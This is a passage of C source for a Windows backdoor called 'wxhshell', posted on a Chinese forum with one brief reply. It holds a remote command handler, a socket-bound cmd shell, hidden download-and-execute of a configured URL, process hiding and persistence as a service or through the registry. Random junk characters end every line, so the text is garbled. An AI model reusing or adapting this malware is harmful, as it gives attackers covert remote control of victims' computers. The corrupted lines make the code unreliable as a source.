  if(DownloadFile(cmd,wsh)) @%/]Q<<q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j}1zdA  
  else 5| B(\wqG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|QzU|gPn  
  } O`G/=/GZ  
  else { q:\g^_!OGA  
<TGn=>u  
    switch(cmd[0]) { t_z,>,BqJ  
  O.`Jl%  
  // 帮助 #[{3} %b  
  case '?': { N_eX/ux  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VU`OO$,W  
    break; m: n` g1  
  } fq )vK  
  // 安装 ;-P)m  
  case 'i': { ,`D~py,  
    if(Install()) dU)]:>Uz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a"N4~?US  
    else Y;4!i?el  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ldha|s.*  
    break; Tm}rH]F&  
    } XfPFo6  
  // 卸载 7?j;7.i s(  
  case 'r': { IU FH:w]  
    if(Uninstall()) M<O{O}t<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , DdB^Ig<r  
    else E`int?C!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W>_]dPBS/  
    break; qgIb/6;xQ  
    } +gd4\ZG  
  // 显示 wxhshell 所在路径 r={c,i  
  case 'p': { ho8`sh>N  
    char svExeFile[MAX_PATH]; l^GP3S  
    strcpy(svExeFile,"\n\r"); k.<]4iS  
      strcat(svExeFile,ExeFile); 5=Xy,hmnC  
        send(wsh,svExeFile,strlen(svExeFile),0); :Z`:nq.a  
    break; -fhN"B)  
    } L`f^y;Y.  
  // 重启 U,#yqER'r  
  case 'b': { > fnh+M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *IgE)N >  
    if(Boot(REBOOT)) De7T s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =4V&*go*\  
    else { ZkL8e  
    closesocket(wsh); dQoYCS}IaV  
    ExitThread(0); 4[Z\ ?[  
    } k@zy  
    break; v+p {|X-  
    } d->|EJP  
  // 关机 XO#/Fv!  
  case 'd': { rX_@Ihv'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X%z }VA  
    if(Boot(SHUTDOWN)) +$4(zP s@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L,y6^J!  
    else { Z^ }mp@j>  
    closesocket(wsh); |*Z$E$k:  
    ExitThread(0); Lg8nj< TF  
    } zp\8_U @  
    break; CYOI.#m2  
    } db'/`JeK b  
  // 获取shell 4XVCHs(  
  case 's': { X%yO5c\l2  
    CmdShell(wsh); ]7-&V-Ct*  
    closesocket(wsh); F, U*yj  
    ExitThread(0); SGb;!T *  
    break; =*p/F  
  } *8~86u GU  
  // 退出 (c0A.L)  
  case 'x': { ;iDPn2?6?x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N0hE4t  
    CloseIt(wsh); ::_i@r  
    break; \RNg|G  
    } /Mb"V5S(W  
  // 离开 %%(R@kh9  
  case 'q': { G\|,5HED  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &zs'/xv]  
    closesocket(wsh); DNGvpKY@  
    WSACleanup(); +`3!I  
    exit(1); V_plq6z  
    break; P[s8JDqu  
        } fw ,\DFHO  
  } Aw&tP[N[  
  } * #TUGfwy  
.<kqJ|SVi  
  // 提示信息 KNH1#30 K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); THmb6^  
} l5L.5 $N  
  } Bl=tYp|a  
9UvXC)R1  
  return; J2uZmEt  
} N0#JOu}~  
[@yV!#2  
// shell模块句柄 =8U&[F  
int CmdShell(SOCKET sock) Q:J^"  
{ >X*Mio8P#  
STARTUPINFO si; GhPK-+"X  
ZeroMemory(&si,sizeof(si)); ,3nN[)dk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J\ e+}{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JN7k2]{  
PROCESS_INFORMATION ProcessInfo; N},n `Yl.  
char cmdline[]="cmd"; 1q;#VS/D;H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iNMx"F0r  
  return 0; 2NB L}x  
} qJ0fQI\  
)BRKZQN  
// 自身启动模式 eh"3NRrN  
int StartFromService(void) |_u aS  
{ \U@rg4  
typedef struct ;WldHaZ9r  
{ ^MBm==heL  
  DWORD ExitStatus; =4h+ M$2  
  DWORD PebBaseAddress; JEE{QjTh  
  DWORD AffinityMask; Ivb 4P`{  
  DWORD BasePriority; SNY~9:;]f  
  ULONG UniqueProcessId; #s!'+|2n  
  ULONG InheritedFromUniqueProcessId; TX#m&vh  
}   PROCESS_BASIC_INFORMATION; z({hiVs  
_{M\Bs2<  
PROCNTQSIP NtQueryInformationProcess; .^b;osAU  
:O5og[;b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZyEHzM{$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1bGopi/  
GguFo+YeZ  
  HANDLE             hProcess; 52o x`t|  
  PROCESS_BASIC_INFORMATION pbi; "s\L~R.&  
3"F`ZJ]=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $+7`Dy!  
  if(NULL == hInst ) return 0; \W%UZs  
id$Ul?z8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 02Ia2e.f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L\;6y*K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &N3Y|2  
VN%INUi@  
  if (!NtQueryInformationProcess) return 0; .L~Nq%g1  
j2 !3rI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cV`E>w=D0  
  if(!hProcess) return 0; RQMEBsI}  
- M,7N}z@;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }x&N^Ky3c  
Un6/e/6,  
  CloseHandle(hProcess); Xt#1Qs  
H{t_xL)k.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f-r] |k  
if(hProcess==NULL) return 0; 7#wn<HDY%  
8XsguC  
HMODULE hMod; x"~~l  
char procName[255]; t!I aUW  
unsigned long cbNeeded; hHDOWHWE  
c2K:FdB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g (#f:"  
3QpYmX<E  
  CloseHandle(hProcess); e)?Fi  
R6=$u{D  
if(strstr(procName,"services")) return 1; // 以服务启动 ,\v91Rp~?  
&7_Qd4=08w  
  return 0; // 注册表启动 Ja ,Cvt  
} k^OV56  
+}-@@,  
// 主模块 Z y_V9j[n  
int StartWxhshell(LPSTR lpCmdLine) M?;y\vS?.  
{ 7==f\%,  
  SOCKET wsl; N~F RM& x  
BOOL val=TRUE; Zk[&IBE_  
  int port=0; JH8zF{?  
  struct sockaddr_in door; q7&6r|w1I  
R<V!%rL;;  
  if(wscfg.ws_autoins) Install(); D$JHs4  
~(]0k.\  
port=atoi(lpCmdLine); #Z5}2soA  
Iuh/I +[7  
if(port<=0) port=wscfg.ws_port; c*R/]Dn   
?Mee 6  
  WSADATA data; 'FYJMIs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *s;|T?~i  
O2"gj"D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O-4C+?V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ){Ob,LEU&  
  door.sin_family = AF_INET; %E_b'[8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]G2uk`  
  door.sin_port = htons(port); -J^(eog[6  
mLL340c#\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kkK kf'  
closesocket(wsl); t>H`X~SR?  
return 1; K).n.:vYZ  
} )IJQeC  
*FJZi Py  
  if(listen(wsl,2) == INVALID_SOCKET) { _.-;5M-  
closesocket(wsl); =r@vc  
return 1; z'`y,8Y1l  
} @UdfAyL  
  Wxhshell(wsl); lqb/eN9(t  
  WSACleanup(); IVW1]y  
i.:. Y  
return 0; ~i.k$XGA  
$2%f 8&  
} KOwOIDt  
pn*3\  
// 以NT服务方式启动 Q#EP|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nB] >!q  
{ CNww`PX,zZ  
DWORD   status = 0; Ig5L$bAM~  
  DWORD   specificError = 0xfffffff; P<K){V  
HfLLlH<L`&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4GB7A]^E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5?Wto4j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gI8Bx]  
  serviceStatus.dwWin32ExitCode     = 0; tbO H#|  
  serviceStatus.dwServiceSpecificExitCode = 0; [7 YPl9  
  serviceStatus.dwCheckPoint       = 0; IMk'#)  
  serviceStatus.dwWaitHint       = 0; C4NTh}6t T  
tBct  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t R6 +G  
  if (hServiceStatusHandle==0) return; JBnK K  
~g7l8H67  
status = GetLastError(); >*wtbkU  
  if (status!=NO_ERROR) (@#M!'  
{ LjU'z#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oq3A#6~  
    serviceStatus.dwCheckPoint       = 0; 0dh=fcb  
    serviceStatus.dwWaitHint       = 0; boo }u  
    serviceStatus.dwWin32ExitCode     = status; {$ep7;'d  
    serviceStatus.dwServiceSpecificExitCode = specificError; `f'K@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|oacOF9  
    return; @2*]"/)*0  
  } iH.$f /)N  
|] Qg7m,O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _uJ"m8Tl  
  serviceStatus.dwCheckPoint       = 0; a[2vjFf#C  
  serviceStatus.dwWaitHint       = 0; +S))3 5N[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4R5D88= C  
} >s`J5I!  
eX_D/25 $  
// 处理NT服务事件,比如:启动、停止 jV8q)=}*)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hkO sm6  
{ jP~Z`y f  
switch(fdwControl) rS1fK1dy s  
{ *Y@nVi  
case SERVICE_CONTROL_STOP: RyRpl*^  
  serviceStatus.dwWin32ExitCode = 0; Pm$q]A~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Af~B'OUd  
  serviceStatus.dwCheckPoint   = 0; S(mF%WJ  
  serviceStatus.dwWaitHint     = 0; {hJXj,  
  { M?/jkc.8H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M4WiT<|]R  
  } mE^o-9/  
  return; 4tx|=;@0  
case SERVICE_CONTROL_PAUSE: 0 P[RyQI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?2Kt'1s#  
  break; =tU{7i*+  
case SERVICE_CONTROL_CONTINUE: 9h0X&1u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wKH ::!  
  break; M3~K,$@  
case SERVICE_CONTROL_INTERROGATE: XO <y +  
  break; -rKO )}  
}; ^V|Oxp'7_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;=? ~ -_  
} oBUxKisW  
)a3IQrf=  
// 标准应用程序主函数 IL_d:HF|1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;sch>2&ZWU  
{ ejA%%5q  
Er k?}E  
// 获取操作系统版本 0<TD/1wN  
OsIsNt=GetOsVer(); GHQ;hN:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iVfgDo  
r_YIpnJ  
  // 从命令行安装 7#<c>~   
  if(strpbrk(lpCmdLine,"iI")) Install(); w{dIFvQ"$  
X{kpSA~  
  // 下载执行文件 j|tC@0A  
if(wscfg.ws_downexe) { YJ:3!B>Zo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H\ 1qI7N C  
  WinExec(wscfg.ws_filenam,SW_HIDE);  KQ[!o!%  
} =H<0o?8?c  
JCY~W=;v  
if(!OsIsNt) { MZ+e}|!4,  
// 如果时win9x,隐藏进程并且设置为注册表启动 N0>0z]4;q  
HideProc(); [Ei1~n)o  
StartWxhshell(lpCmdLine); DKVT(#@T  
} Ys8SDlMo  
else *z'yk*  
  if(StartFromService()) }CxvT`/  
  // 以服务方式启动 mQ}ny(K'  
  StartServiceCtrlDispatcher(DispatchTable); wC-Rr^q  
else !K? qgM  
  // 普通方式启动 y&_m 4Zw"  
  StartWxhshell(lpCmdLine); B??J@+Nf  
_hG;.=sr  
return 0; r ]>\~&?^F  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五